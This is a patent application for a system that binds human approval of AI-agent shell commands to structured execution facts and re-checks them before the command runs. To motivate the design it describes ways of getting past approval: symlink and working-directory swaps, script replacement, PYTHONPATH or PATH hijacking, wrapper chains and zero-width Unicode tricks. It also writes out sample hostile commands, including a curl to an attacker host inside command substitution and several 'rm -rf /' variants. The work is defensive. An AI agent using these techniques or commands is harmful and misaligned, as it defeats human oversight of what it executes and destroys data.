Agent-oriented instruction approval binding and consistency checking method and system

Abstract

This application relates to the field of information technology, specifically to a method and system for instruction approval binding and consistency verification oriented towards agents. The method includes the following steps: receiving an instruction execution request submitted by an agent; parsing the instruction execution request to obtain structured execution elements; generating an approval binding record based on the structured execution elements and sending an approval request corresponding to the approval binding record to the approval end; after the approval request is approved but before the actual execution of the instruction, re-parsing the instruction to be executed to obtain the current execution elements; performing consistency verification between the current execution elements and the structured execution elements in the approval binding record; executing the instruction when the consistency verification passes, and rejecting execution, re-initiating the approval process, or requiring manual review when the consistency verification fails.

Description

Technical Field

[0001] This application relates to the field of information technology, specifically to a method and system for agent-oriented instruction approval binding and consistency verification. Background Technology

[0002] In AI agents, remote automated operation and maintenance robots, developer tools, and various software systems with system command execution capabilities, security reviews or manual approvals are typically required for instruction execution requests initiated by agents to mitigate the risk of malicious or high-risk command execution. Existing technologies commonly employ instruction security control measures including: command string matching based on blacklists or whitelists, dangerous pattern detection based on regular expressions, displaying the command text before execution and requesting user confirmation, log analysis of post-execution process behavior, and using machine learning or large language models to determine if commands exhibit obfuscation, data leakage, or destructive behavior. However, these existing solutions primarily focus on determining whether a command is dangerous or whether the user has approved the displayed command text, generally lacking constraints on the consistency between the execution facts at the time of approval and the final execution facts. Specifically, existing technologies have the following shortcomings: First, the approval object often degenerates into a simple command string, failing to adequately bind structured execution elements such as the command's parameter vector, working directory, key environment variables, actual executable file path, interpreter script operands, agent identity, and session identity, resulting in significant drift potential after approval. For example, attackers or untrusted input can replace the working directory with symbolic links, modify script file content, change execution semantics using environment variable prefixes, hide the real execution target using wrappers such as env, sh -c, and npx, or use command substitution, unclosed heredoc, Unicode obfuscation, etc., to make the actual execution target deviate from the object displayed or analyzed during approval. Second, after approval but before actual execution, the system usually does not re-verify the execution request, allowing the one-time approval identifier to be reused across commands, agents, and sessions, or used for modified instruction requests, thereby bypassing the original security controls. Third, for command structures with complex shell syntax and unstable parsing, existing solutions often continue to allow them based on a whitelist, failing to adopt a "fault-based shutdown" strategy, causing uncertainty to be transformed into security vulnerabilities. Therefore, further research is needed on security review and approval technologies for instruction execution requests. Summary of the Invention

[0003] This specification describes a method and system for agent-oriented instruction approval binding and consistency verification through several embodiments.

[0004] Firstly, the embodiments of this specification provide a method for agent-oriented instruction approval binding and consistency verification, including the following steps:

[0005] Receive instruction execution requests submitted by the agent, parse the instruction execution requests, and obtain structured execution elements;

[0006] An approval binding record is generated based on the structured execution elements, and an approval request corresponding to the approval binding record is sent to the approval end.

[0007] After the approval request is approved but before the actual execution of the instruction, the instruction to be executed is re-parsed to obtain the current execution elements;

[0008] Perform a consistency check between the current execution element and the structured execution element in the approval binding record;

[0009] The instruction is executed when the consistency check passes; otherwise, execution is rejected, approval is re-initiated, or manual review is required.

[0010] Secondly, embodiments of this specification provide an agent-oriented instruction approval binding and consistency verification system, including:

[0011] The parsing module receives instruction execution requests submitted by the agent, parses the instruction execution requests, and obtains structured execution elements;

[0012] The binding module generates an approval binding record based on the structured execution elements and sends an approval request corresponding to the approval binding record to the approval end.

[0013] The secondary parsing module re-parses the instruction to be executed after the approval request is approved and before the actual execution of the instruction to obtain the current execution elements;

[0014] The verification module performs a consistency verification between the current execution element and the structured execution element in the approval binding record;

[0015] The judgment module executes the instruction when the consistency check passes, and refuses to execute, re-initiates the approval process, or requests manual review when the consistency check fails.

[0016] Thirdly, embodiments of this specification provide an electronic device, including a processor and a memory;

[0017] The processor is connected to the memory;

[0018] The memory is used to store executable program code;

[0019] The processor runs a program corresponding to the executable program code stored in the memory to perform the method described in any of the above aspects.

[0020] Fourthly, embodiments of this specification provide a computer-readable storage medium having a computer program stored thereon, which, when executed by a processor, implements the methods described in any of the above aspects.

[0021] Fifthly, embodiments of this specification provide a computer program product, including a computer program that, when executed by a processor, implements the methods described in any of the above aspects.

[0022] The beneficial effects of the technical solutions provided in some embodiments of this specification include at least the following:

[0023] In several embodiments of this specification, the agent-oriented instruction approval binding and consistency verification method and system expand the approval object of agent instructions from a single command text to a structured execution element including parameter vectors, working directory, execution environment, agent identity, session identity, executable file parsing results, and variable file operands. After approval but before actual execution, the current instruction is re-parsed and its consistency with the approval binding record is verified item by item. This effectively prevents execution drift behaviors such as script replacement, symbolic link drift, environment variable tampering, parameter changes, and wrapper chain bypass that occur after approval. By recording the real path and content summary of the script file, binding the device number and inode number to the working directory, maintaining independent boundaries for parameter vectors and comparing them item by item, and employing a fault-closing strategy for unstable parsing structures such as command replacement and unclosed heredocs, the consistency between instruction approval and actual execution is significantly improved. Combined with one-time approval consumption, agent and session identity binding, Unicode normalization processing, and configurable risk scoring, the reuse of approval identifiers across commands and visual obfuscation attacks are eliminated.

[0024] Other features and advantages of various embodiments of this specification will be further revealed in the following detailed description and accompanying drawings. Attached Figure Description

[0025] To more clearly illustrate the technical solutions in the embodiments of this specification, the accompanying drawings used in the embodiments will be briefly introduced below. Obviously, the drawings described below are only some embodiments of this specification. For those skilled in the art, other drawings can be obtained based on these drawings without creative effort.

[0026] Figure 1 This is a schematic diagram of instruction approval binding and consistency verification provided in this manual.

[0027] Figure 2 This is a flowchart illustrating the instruction approval binding and consistency verification method provided in this manual.

[0028] Figure 3This is a sequence diagram showing the process from instruction approval to execution provided in this manual.

[0029] Figure 4 This is a diagram illustrating the approval process for existing technologies.

[0030] Figure 5 This is a schematic diagram of the approval binding and execution re-verification provided in this manual.

[0031] Figure 6 This is a schematic diagram of the instruction approval binding and consistency verification system provided in this manual.

[0032] Figure 7 This is a schematic diagram of the electronic device provided in this manual. Detailed Implementation

[0033] The technical solutions of the embodiments of this specification will be explained and described below with reference to the accompanying drawings. However, the following embodiments are only preferred embodiments of this specification and not all of them. Other embodiments obtained by those skilled in the art based on the embodiments in the implementation methods without creative effort are all within the protection scope of this specification.

[0034] The terms "first," "second," "third," etc., in the description, claims, and accompanying drawings are used to distinguish different objects, not to describe a specific order. Furthermore, the terms "comprising" and "having," and any variations thereof, are intended to cover non-exclusive inclusion. For example, a process, method, system, product, or apparatus that includes a series of steps or units is not limited to the listed steps or units, but may optionally include steps or units not listed, or may optionally include other steps or units inherent to such processes, methods, products, or apparatus.

[0035] In the following description, terms such as “inner,” “outer,” “upper,” “lower,” “left,” and “right” are used only to facilitate the description of the embodiments and to simplify the description, and are not intended to indicate or imply that the device or element referred to must have a specific orientation, or be constructed and operated in a specific orientation, and therefore should not be construed as a limitation of this specification.

[0036] All data involved in this application are information and data authorized by the user or fully authorized by all parties, and the collection, use and processing of the relevant data comply with the relevant laws, regulations and standards of the relevant countries and regions.

[0037] Before introducing the technical solutions described in this manual, the application scenarios and related technologies of the technical solutions will be introduced.

[0038] Proxy execution refers to the process by which software systems such as AI programming assistants, remote automated operation and maintenance robots, developer tools, or testing platforms automatically or semi-automatically call local or remote interfaces to execute system commands, scripts, interpreters, or package managers based on user instructions or model outputs.

[0039] Since proxy execution typically bypasses the traditional manual input process, attackers or untrusted input can construct malicious commands and use shell wrappers, environment variable prefixes, symbolic links, working directory replacement, script file replacement, Unicode obfuscation, command substitution, heredoc injection, package manager dispatch, etc., to make the commands actually executed by the proxy deviate from the commands seen during user approval or detected during system analysis, thereby bypassing pre-execution approval.

[0040] For example, a user approves the execution of "python run.py" on the approval interface, but an attacker may replace "run.py" with a malicious script beforehand, change the execution semantics in the command by using the "env" prefix, or use "npx" to hide the real execution target, ultimately causing the proxy to perform dangerous operations such as unauthorized deletion, data theft, or backdoor installation.

[0041] For example, a company uses automated operations and maintenance robots to manage servers in batches. The robots execute operations such as `systemctl restart nginx` or `rm / var / log / old.log` based on instructions output by the work order system. If an attacker gains partial control of the work order system, they can use symbolic links to point the working directory ` / var / log` to ` / etc`, or use `sh -c` wrappers to hide the actual deletion target. Current approval processes only display the command text, making it difficult for operations and maintenance personnel to detect drift. This solution, by binding the canonical path, device number, and inode of the working directory, and parsing and binding the wrapper chain, ensures that the execution environment at the time of approval is completely consistent with that at the time of execution. Currently, many cloud vendors and financial institutions have proposed technologies with anti-drift capabilities in their operations and maintenance platforms.

[0042] Existing technologies primarily employ methods such as blacklist or whitelist keyword matching, regular expression rule detection, displaying the command text before execution and requesting manual confirmation, anomaly analysis based on process logs, sandbox isolation, and machine learning or large language models to assess command risk. While these solutions can identify common dangerous commands to some extent, their common drawback is that they limit the approval process to command strings or simple rules, failing to adequately bind structured execution facts such as command parameter vectors, actual working directory paths, key environment variables, executable file parsing results, script operand content, proxy identity, and session identity. Furthermore, they lack secondary verification between approval and execution, leading to potential drift and bypass risks between the approval result and actual execution.

[0043] Therefore, this embodiment provides a method and system for agent-oriented instruction approval binding and consistency verification. Please refer to the appendix. Figure 1 This diagram illustrates the command approval binding and consistency verification process. In this embodiment, when a proxy requests to execute a command, the system records information such as the command text, parameter list, working directory, environment variables, proxy identifier, session identifier, executable file's actual path, wrapper chain, and script file operands into an "approval binding form." After approval, the system does not execute immediately but re-acquires the current execution information before actual execution and compares it item by item with the binding form. For example, if it finds that the current working directory has undergone symbolic link jumps, the script file's content has been secretly replaced, or the wrapper has changed from ordinary python to env python -c, it is determined to be inconsistent. If any key information (such as parameter vector, working directory, environment variables, executable file, script summary, wrapper chain, proxy identity, or session identity) changes, the system will refuse execution or require a re-approval process.

[0044] For commands containing command substitutions, unclosed heredocs, or complex syntax where script operands are difficult to determine, the system cannot guarantee the uniqueness and stability of the parsed results. In such cases, a "fault-based shutdown" strategy is adopted, meaning automatic execution is refused or escalated to manual approval. Simultaneously, to prevent malicious replacement of script files, working directories, or executable files after approval, the system records the file's actual path, file system inode, and content hash value during approval and re-compares these before execution. If any of these three changes, the binding is considered invalid, and execution is refused.

[0045] Specifically, this embodiment first provides a proxy-oriented instruction approval binding and consistency verification method, please refer to the appendix. Figure 2 The steps include:

[0046] Step S1: Receive the instruction execution request submitted by the agent, parse the instruction execution request, and obtain the structured execution elements.

[0047] The structured execution elements include instruction parameter vector, working directory, execution environment, agent identity, session identity, executable file parsing results, and variable file operands.

[0048] The variable file operands include the script file, the interpreter parameter file, the actual path to the package manager execution target file, and a content summary;

[0049] When generating the approval binding record, the content summary of the file is calculated and saved;

[0050] The consistency check includes recalculating the content digest of the current corresponding file before execution and comparing it with the saved digest. If they are inconsistent, the check is deemed to have failed.

[0051] Agents can be AI programming assistants, operation and maintenance robots, or automated testing tools. When an agent initiates a command execution request, the request must at least contain the text of the command to be executed, and may also include information such as the working directory (cwd), environment variables (env), agent identity identifier (agentId), and session identifier (sessionKey).

[0052] The parsing process transforms the raw, possibly string-based, instructions into a structured set of execution elements, specifically including:

[0053] The command argument vector (argv) is generated by parsing the command text into a list of arguments using shell lexical analysis, preserving the independent boundaries of each argument. For example, the command `python "test.py" --verbose` will result in `argv` of `["python","test.py","--verbose"]`, rather than a simple concatenated string. This avoids parameter boundary confusion caused by string rearrangement.

[0054] Working directory (cwd): Retrieves the working directory specified in the request and resolves its canonical path and file system identity information (such as device number and inode). For example, if the cwd in the request is . / build, and build in the current directory is a symbolic link pointing to / tmp / scratch, then the resolved canonical path will be / tmp / scratch, and its inode will be recorded. This is used to prevent directory drift caused by subsequent replacement of symbolic links.

[0055] Execution environment (env): Extracts key environment variables that affect the semantics of instruction execution, such as PATH, BASH_ENV, LD_PRELOAD, NODE_OPTIONS, PYTHONPATH, etc., and saves their current values. For example, if the instruction is pythonrun.py, but the environment variable PYTHONPATH is set to the path of a malicious library, the import behavior during execution will change; this solution will record this variable.

[0056] Agent ID and session key: These are unique identifiers of the initiating agent (such as process UUID, API key hash) and the current session identifier (such as terminal session ID, user login session token) obtained from the request. They are used for subsequent verification to prevent approval records from being misused by other agents or different sessions.

[0057] The executable path (executablePath) is the path to the actual file in the command, which is the first non-option parameter (usually the command name). It is resolved using the system PATH or an absolute path. For example, the command `python script.py` resolves to ` / usr / bin / python3`, recording this absolute path and its file system identity.

[0058] MutableFileOperands: Identify script files, interpreter argument files, and package manager execution target files that serve as operands in instructions. For example, `run.py` in `python run.py`, `app.js` in `nodeapp.js`, and the actual package entry file corresponding to `eslint` in `npx eslint`. For each such file, record its real path and content digest (e.g., SHA-256). The digest is calculated by reading the file content, not just relying on the filename or path.

[0059] For example, suppose the agent receives the user command `python train.py`, the current working directory is ` / home / user / project`, and the environment variable PATH is correct. After parsing, it gets:

[0060] argv: ["python","train.py"]

[0061] The cwd standard path is: / home / user / project (inode=12345)

[0062] PATH in env: / usr / local / bin: / usr / bin

[0063] agentId: copilot-abc123, sessionKey: term-xyz789

[0064] executablePath: / usr / bin / python3.9

[0065] mutableFileOperand: The actual path to the file / home / user / project / train.py and its SHA-256 digest.

[0066] All elements are combined into an approval binding record. An approval request is then sent to the approval end (such as the user interface or administrator console), displaying a command preview and key elements. After user approval, before actual execution, the current request is parsed again and a consistency check is performed against this record to ensure no elements have been lost.

[0067] Step S2: Generate an approval binding record based on the structured execution elements, and send an approval request corresponding to the approval binding record to the approval end.

[0068] Please see the appendix Figure 3 The approval binding record includes an approval mode field, and the approval mode includes single approval, session-based approval, or policy-based approval.

[0069] When the approval mode is single approval, the method further includes marking the approval binding record as consumed after the consistency check passes and the instruction is executed. If the same approval identifier is received again, the execution is rejected or a re-approval is required.

[0070] When the approval mode is session-based approval, consistency verification is performed only before the first execution in multiple command executions within the same session, and subsequent commands reuse the binding record that passed the first verification.

[0071] All acquired execution elements are assembled into an immutable approval binding record. This record can be represented as a data structure, a database row, or a signed token, and at a minimum includes the command parameter vector (argv), the working directory canonical path and file system identity (cwdSnapshot), a snapshot of key environment variables (envBinding), the agent identity (agentId), the session identity (sessionKey), the executable file's actual path (executablePath), the actual path and content digest of variable file operands (fileOperand), and the raw command text (rawCommand). Additionally, the record contains an approval mode field (approvalMode) to control the scope and lifecycle of this approval.

[0072] Approval binding records describe the actual execution facts approved during the approval process, not just the command string. An approval binding record can be represented as B={T, R, A, C, E, W, V, F, P, S, M}, as shown in Table 1. Here, T represents the command display text, R represents the original command or shell payload, A represents the parameter vector, C represents the working directory identity, E represents the executable file parsing result, W represents the wrapper chain, V represents the environment binding item, F represents a snapshot of variable file operands, P represents the agent identity, S represents the session identity, and M represents the approval mode.

[0073] Table 1. Meaning of Fields in Approval Binding Records

[0074]

[0075] Approval modes include single-approval, session-based approval, or policy-based approval.

[0076] Single approval mode:

[0077] In this mode, the approval binding record is only valid for the first instruction execution immediately following the approval. After the consistency check passes and the instruction is executed, the execution control module immediately marks the record as "consumed". If a subsequent instruction execution request using the same approval identifier (such as approval ID or session token) is received, regardless of whether the instruction content is the same, it is considered invalid, and execution is rejected or a complete approval process is required to be re-initiated.

[0078] If a user approves the command "rm tmp.log" in single-approval mode, the record associated with that approval is consumed after execution. If the same agent and session requests to execute "rm tmp.log" again, the pre-execution validation will fail because the record has already been consumed, requiring the user to re-approve. This prevents single-approval from being repeatedly used to perform potentially dangerous operations.

[0079] Session cycle approval mode:

[0080] In this mode, the approval binding record is bound to the current session (sessionKey). During multiple command executions within the same session, only the first execution requires a complete consistency check; during subsequent command executions, the execution control module directly reuses the binding record that passed the first check, without repeating the item-by-item comparison, but it will check whether the current session identity matches the sessionKey in the record.

[0081] For example, a user approves "npm run build" within a terminal session, with the approval mode set to session-based approval. All validations (argv, cwd, env, etc.) are completed before the first execution. Subsequent requests to execute the same "npm run build" within the same session are allowed without re-validating the parameters. However, if a new terminal session is opened (the sessionKey changes), approval is required again, even if the command is the same. This mode is suitable for scenarios with high repetition, stable context, and where confirmation is not required each time.

[0082] Policy-based approval:

[0083] The approval binding record does not directly limit the single instance or session period, but instead references the judgment result of an external policy engine. The policy engine can dynamically decide based on the risk level of the instruction, the agent's historical behavior, user configuration, etc.: allow execution (and record this consumption), require re-approval, or downgrade to a single-approval mode. After the consistency check passes, the execution control module also needs to query the policy engine to see if the current context constraints are met.

[0084] For example, enterprise policy stipulates that the "git push" command can be executed a maximum of 3 times per hour. After the user approves the first request, the policy engine marks the approval record as "policy-based" and records the timestamp and the number of times. Subsequent "git push" requests within the same session will be allowed to execute if the consistency check passes and the policy engine determines that the number of times has not exceeded the limit; otherwise, they will be rejected and a new approval will be required.

[0085] After the approval binding record is generated, the execution control module (or a separate approval gateway) encapsulates the key information in the record—mainly the command display text, the working directory's standard path, the agent's identity and session identity, and risk warnings—into an approval request and sends it to the approval endpoint. The approval endpoint can be a user interface (such as a pop-up in an IDE), an instant messaging robot (such as Slack / DingTalk), an enterprise approval workflow (such as Jira Service Management), or an administrator console. Upon receiving the request, the information displayed by the approval endpoint is strictly consistent with the structured execution elements in the approval binding record (after Unicode normalization and filtering of invisible characters). After the user clicks "Approve," the approval endpoint returns an approval signal and its corresponding approval identifier. The execution control module saves the approval binding record and approval status, awaiting consistency verification before subsequent execution.

[0086] For example, an AI programming assistant proxy requests the execution of "npx create-react-app my-app". After parsing, it identifies the wrapper chain as "npx", the actual executable target as " / usr / local / bin / npx", and the script operand as the package entry file corresponding to "create-react-app" (the summary is recorded). The approval end displays: "Instruction: npx create-react-app my-app, Working directory: / home / user / projects, Proxy: copilot, Session: term-12345". The user selects the "single approval" mode and approves. Subsequently, before actual execution, the proxy parses the current request again. If it finds that "npx" has been replaced with "npx--yes" (parameter change), or the working directory is pointed to " / etc" by a symbolic link, the verification fails and execution is rejected. If they match and the approval has not yet been consumed, the instruction is executed, and the approval is then marked as consumed.

[0087] Step S3: After the approval request is approved and before the actual execution of the instruction, the instruction to be executed is re-parsed to obtain the current execution elements.

[0088] Before parsing the instruction execution request, the following steps are performed:

[0089] Perform Unicode normalization on the instruction text and remove or explicitly escape zero-width characters, format control characters, compatibility characters, and marker characters;

[0090] When parsing the instruction execution request, the following steps are also performed:

[0091] Determine whether there are any shell structures that cannot be reliably parsed. The shell structures that cannot be reliably parsed include command substitution, backticks, unclosed heredoc, command substitution in heredoc, dangerous line break continuation, and inline loaders that cannot uniquely bind script operands.

[0092] If a shell structure that cannot be reliably parsed exists, execution will be refused or a manual review request will be issued.

[0093] After the approval process returns an approval signal, the agent does not immediately execute the original instruction but instead enters a pre-execution re-parsing phase. The purpose of this phase is to obtain the actual execution elements at the current moment (called the "current execution elements") for comparison with the approval binding record. Since there may be a time window between approval and actual execution, attackers or unexpected changes could alter the working directory, script content, environment variables, etc., re-parsing is necessary instead of directly using the parsing results from the approval process. Preprocessing before re-parsing includes Unicode normalization and invisible character cleanup. Before parsing the text of the instruction to be executed, the instruction string is cleaned to ensure that the text displayed during approval is consistent with the actual parsed text at the character level, preventing visual confusion or detection bypass.

[0094] Unicode normalization uses NFKC (Non-Non-Compatible Decomposition and Combination) to convert the same character across different encodings into its standard form. For example, the full-width letter "A" (U+FF21) is normalized to the half-width "A" (U+0041); the accented "é" (U+00E9) remains unchanged, but if a combination of "e" + "`́" exists, it will also be normalized to a single code point. This prevents attackers from using full-width characters to impersonate half-width commands (such as "rm" replacing "rm") to bypass rule detection.

[0095] Remove or explicitly escape invisible characters, detect and handle zero-width characters (such as U+200B zero-width space, U+200C zero-width non-connector), format control characters (such as U+202A to U+202E bidirectional text control characters), compatible characters (such as U+FDD0~U+FDEF), and marker characters (such as U+FEFF byte order marker). The handling can be either direct deletion of these characters or replacement with visible escape sequences (such as ""). <zwsp>"). For example, the zero-width space inserted in the malicious instruction "rm<U+200B>-rf / " is invisible in the user interface, but after cleaning it becomes "rm -rf / ", the number and content of the parameters in the actual parsed argv are restored to normal, so that the risk can be detected correctly.

[0096] Unstable structure detection in parsing, when parsing the cleaned instruction text into structured elements (such as argv, wrapper chain, script operand), additional stability judgment is performed. If the following shell structure that cannot be stably parsed is found, it is determined that the current instruction does not have the condition for safe automatic execution, and the execution control module should refuse to automatically release or require manual review.

[0097] Command substitution includes the forms "$(command)" and "command". Since the subcommand in command substitution is dynamically expanded before execution, its final content cannot be determined at the time of parsing. For example, the subcommand in the instruction "echo$(curl attacker.com / evil)" can be any malicious payload. Even if the outer command "echo" is safe, the actual execution of the subcommand cannot be bound in advance.

[0098] Backticks, as above, command substitution within backticks cannot be statically parsed.

[0099] Unclosed heredoc, heredoc is a multiline input syntax such as "cat <<EOF... EOF". If the starting delimiter is not properly closed, or the delimiter itself can be replaced by a variable, the parser will have difficulty determining the boundary of the input. For example, "cat <<$(whoami)" may expand to "cat <<root", causing behavior changes.

[0100] Command substitution in heredoc, even in a closed heredoc, if the content contains command substitution (such as "cat<<EOF\n$(malicious)\nEOF"), also introduces dynamic execution.

[0101] Dangerous newline continuation, shell uses backslash "\" followed by a newline to continue long commands. Attackers may use this feature to visually split a safe command into multiple lines, and inject malicious parameters after the continuation. For example: "python run.py \ " (newline) "--malicious-flag", it is difficult to determine whether the second line belongs to the same logical line when parsing.

[0102] Inline loaders that cannot uniquely bind script operands: Some interpreters or runtimes support executing code from standard input, the network loader, or memory without specific file path operands. For example, the script content in "python -c "importos; os.system('rm -rf / ')"" is given directly as a string, without a script file path to bind to; the same applies to "node -e "require('child_process').exec('rm -rf / ')"". In such cases, content immutability cannot be guaranteed by recording a file digest, and therefore they are considered unstable structures.

[0103] Upon detecting an unstable structure, the execution control module does not proceed with the regular consistency verification process. Instead, it takes one of the following actions: refuses execution (returns an error message), downgrades to manual review only (i.e., it must be confirmed by an authorized administrator in the console before execution), or requires the agent to resubmit the instructions in a more secure manner (e.g., write the inline script to a temporary file before execution).

[0104] For example, the command text seen by the user during approval is "ls -l", but before actual execution, the attacker modifies the command to "l".<U+200B> `ls -l` (with a zero-width space inserted). After Unicode normalization and removal of invisible characters, this step yields `ls -l`, and the parsed argv is `["ls","-l"]`, which matches the approval binding record, so execution is allowed. Without this cleaning, the parsed argv might be `["l`.<U+200B> The error message "s", "-l"]" or "" cannot be recognized, causing the verification to fail. After cleaning, it can match correctly. However, note that cleaning should be performed in a secure context. This solution aims to eliminate inconsistencies between the display and the detection, rather than introducing new bypass points.

[0105] In another example, a user approved "python -c "print('hello')"", but during parsing, it was found that there were no operands that could be uniquely bound to the script file, and the string after the -c parameter might contain arbitrary code. This step marked it as unable to uniquely bind script operands, triggering manual review. The reviewer confirmed that the inline code only printed "hello" and had no malicious intent, so execution was approved. However, even after approval, the parameter vector (argv) was still re-parsed and verified before each execution to ensure it was consistent with the one used during approval, preventing the string after -c from being tampered with and modified into malicious code.

[0106] Step S4: Perform a consistency check between the current execution element and the structured execution element in the approval binding record.

[0107] After re-parsing to obtain the current execution element (denoted as Et), it is compared item by item with the corresponding fields in the approval binding record (denoted as B0) saved in step S2. B0 = Bind(Parse(Q0), Policy), where Q0 is the command execution request before approval, Parse represents the structured parsing function, Policy represents the approval strategy configuration, and B0 represents the binding record generated during approval. The current execution object generates Et = Parse(Qt), where Qt is the current command execution request after approval but before actual execution, and Et is the set of current execution elements. Field-level consistency indication function: I_k(B0, Et) = 1 indicates that the k-th binding field is consistent, and I_k(B0, Et) = 0 indicates that it is inconsistent. Field k may include argv, rawCommand, cwd, env, executablePath, wrapperChain, fileOperand, agentId, sessionKey, and approvalState.

[0108] Strong consensus is achieved through the following condition: Pass = Stable(Q0) ∧ Approved(B0) ∧ NotConsumed(B0) ∧ ΠI_k(B0, Et). Execution is allowed when Pass = 1; execution is rejected or requires re-approval when Pass = 0. Here, Stable(Q0) indicates that the command structure can be stably parsed, Approved(B0) indicates that approval has been granted, and NotConsumed(B0) indicates that a one-time approval has not yet been consumed.

[0109] The optional risk scoring model is Risk = α×U + β×W + γ×M + δ×D + ε×P. U represents analytical uncertainty, W represents the wrapper chain complexity, M represents the risk of variable file operands, D represents the degree of drift after approval, and P represents path or environment sensitivity; α, β, γ, δ, and ε are configurable weights. If the Risk exceeds the policy threshold, the system may require manual review or refuse execution.

[0110] The degree of drift is defined as D=1-ΠI_k(B0, Et). D=0 indicates that the approval binding record is completely consistent with the current execution object; D>0 indicates that at least one key execution fact has drifted.

[0111] The variable file operand digest H_f = Hash(realpath(file), content(file)). H_f0 is saved during approval, and H_ft is calculated before execution; if H_f0 ≠ H_ft, it is determined that the script file has been replaced or its content has changed.

[0112] The core principle of verification is: any change in any key element constitutes a post-approval drift, and the application must not be released. The verification methods for each element and typical examples are explained below.

[0113] (a) Wrapper chain consistency verification

[0114] The structured execution elements also include a chain of wrappers parsed from the original command. The chain of wrappers includes one or more of env, sh -c, cmd / c, PowerShell, npm exec, npx, pnpm exec, and tsx. These wrappers can change the execution context of subsequent commands or hide the real execution target.

[0115] The consistency check includes comparing whether the wrapper chain of the currently executed request is consistent with the wrapper chain in the approval binding record. If they are inconsistent, the check is deemed to have failed.

[0116] During verification, a depth comparison is performed between the currently parsed wrapper chain and the wrapper chain recorded in B0: not only are the wrapper names compared, but also their parameters. For example, npx and npx --yes are considered different wrapper forms.

[0117] For example, the approved instruction during the approval process is `npx eslint`, and the parsed wrapper chain has no additional parameters `["npx","eslint"]`. Before execution, an attacker changes the actual instruction to `npx --yes eslint` (with the `--yes` parameter automatically confirming installation). Now, the parsed wrapper chain is `["npx","--yes","eslint"]`, which is inconsistent with the approval record, fails validation, and is rejected.

[0118] (ii) Consistency verification of key environmental variables

[0119] The structured execution elements of the execution environment include a set of key environment variables that affect the semantics of instruction execution. These key environment variables include one or more of PATH, BASH_ENV, LD_PRELOAD, NODE_OPTIONS, and PYTHONPATH.

[0120] The consistency check includes comparing the values ​​of the key environment variables in the current execution environment with those in the approval binding record. If they are inconsistent, the check is deemed to have failed.

[0121] Only key environment variables that affect execution semantics are compared, including but not limited to PATH, BASH_ENV, LD_PRELOAD, NODE_OPTIONS, and PYTHONPATH. During verification, the values ​​of these variables in the current environment are extracted and compared item by item with the snapshot saved in B0.

[0122] For example, during approval, the recorded PATH is / usr / local / bin: / usr / bin, and PYTHONPATH is empty. Before execution, the PYTHONPATH in the current environment is set to / tmp / malicious_lib, which will cause the malicious library to be loaded first when Python imports modules. Verification finds that the PYTHONPATH value is inconsistent, the decision is made, and execution is refused.

[0123] (iii) Verification of consistency between proxy identity and session identity

[0124] The structured execution elements also include agent identity identifiers and session identity identifiers;

[0125] The consistency check includes verifying whether the proxy identity and session identity of the currently executed request are consistent with the proxy identity and session identity in the approval binding record. If any inconsistency exists, the check is deemed to have failed.

[0126] Each approval binding record contains the agent ID (e.g., process UUID, API key fingerprint) and session key (e.g., terminal session ID, user login token) of the agent initiating the approval. Before execution, the same identifier is extracted from the current instruction request and compared with the value in B0.

[0127] For example, agent A (agentId=copilot-abc) initiates an approval process in session S (sessionKey=term-xyz) and receives approval. Subsequently, agent B (agentId=copilot-def) attempts to execute a command using the same approval record. During verification, the agentId is found to be inconsistent, and the request is rejected outright. Similarly, if the same agent opens a new terminal session (with a changed sessionKey), the request will also be rejected due to session identity mismatch, preventing cross-session abuse.

[0128] (iv) Verification of consistency between the actual path of the executable file

[0129] The executable file parsing result includes the actual path of the executable file after being parsed through the system PATH environment variable, and the file system identity information corresponding to that path;

[0130] The consistency check includes re-parsed the actual executable file path corresponding to the current instruction before execution and compared it with the executable file path in the approval binding record. If they are inconsistent, the check is deemed to have failed.

[0131] The executable file parsing result includes the actual file path and its file system identity (device number, inode) after being resolved by PATH or absolute path. Before execution, the command name (argv[0]) in the current instruction is parsed again to obtain the current executable file's actual path, which is then compared with the record in B0.

[0132] For example, during approval, the instruction `python script.py` resolves to the executable file ` / usr / bin / python3` (inode=100). Before execution, the attacker modified the PATH environment variable, causing `python` to preferentially resolve to ` / home / user / .local / bin / python` (a malicious proxy). During verification, the current executable file path was found to be inconsistent with the record, and execution was rejected.

[0133] (v) Prevention of symbolic link drift in the working directory and file system identity verification

[0134] The consistency check of the working directory includes detecting whether symbolic links in the working directory path have changed from approval to execution.

[0135] If the actual path of the working directory changes but the original path string remains the same, then symbolic link drift is determined to have occurred, and the verification fails.

[0136] The structured execution elements of the working directory include the actual path of the working directory, the file system device number, and the file system inode number;

[0137] When generating the approval binding record, obtain and save the actual path, device number, and inode number of the current working directory;

[0138] The consistency check also includes re-obtaining the real path, device number, and inode number of the current working directory before execution, and comparing them with the corresponding information stored in the approval binding record. If any of them are inconsistent, the check is deemed to have failed.

[0139] The consistency check of the working directory includes two levels:

[0140] Symbolic link drift detection: Even if the original path string of the working directory (e.g., . / data) remains unchanged, its real path may have changed due to symbolic link replacement. During verification, the real path of the current working directory is re-parsed and compared with the real path saved in B0. If they are inconsistent, it indicates that symbolic link drift has occurred.

[0141] File system identity verification: This further records the device ID and inode number of the working directory. These two attributes uniquely identify a directory at the file system level. Even if the path strings are the same but the actual path points to a different directory with the same name, the inodes will be different. During verification, the device ID and inode of the current working directory are retrieved again and compared with the values ​​in B0.

[0142] For example, the working directory during approval is / home / user / project (device number 0x801, inode=12345). Before execution, the attacker replaces the entire / home / user / project directory with another directory (e.g., via mount --bind or deletion followed by reconstruction). Although the path string remains the same, the new directory has a different inode (e.g., 54321). Verification detects the inode inconsistency, determines it as a drift, and refuses execution.

[0143] (vi) Consistency check of each item in the parameter vector (argv)

[0144] The instruction parameter vector is a parsed parameter list, where each parameter maintains an independent boundary and is not recombined or concatenated.

[0145] The consistency check includes comparing the parameter vector of the currently executed request with the parameter vector in the approval binding record. The comparison includes whether the number of parameters is equal and whether the parameter value at each position is exactly the same.

[0146] If the number of parameters is different or the parameter value at any position is different, the verification is deemed to have failed.

[0147] The parameter vector maintains the independent boundaries of each parameter and does not perform string recombination. During validation, two parameter lists are compared: whether the number of parameters is equal, and whether the strings at each parameter position are completely identical.

[0148] For example, the approved argv during the approval process is ["rm","-f","log.txt"]. Before execution, the attacker changes the parameters to ["rm","-rf"," / "]. During verification, it is found that the number of parameters is the same (both are 3), but the first parameter rm is the same, the second parameter -f is different from -rf, and the third parameter log.txt is different from / , so the test fails.

[0149] In another example, during approval, `argv` is `["python","run.py","--config","config.json"]`. Before execution, the parameters become `["python","run.py","--config config.json"]` (merging the options and values ​​into one parameter). The number of parameters changes from 4 to 3, causing the validation to fail.

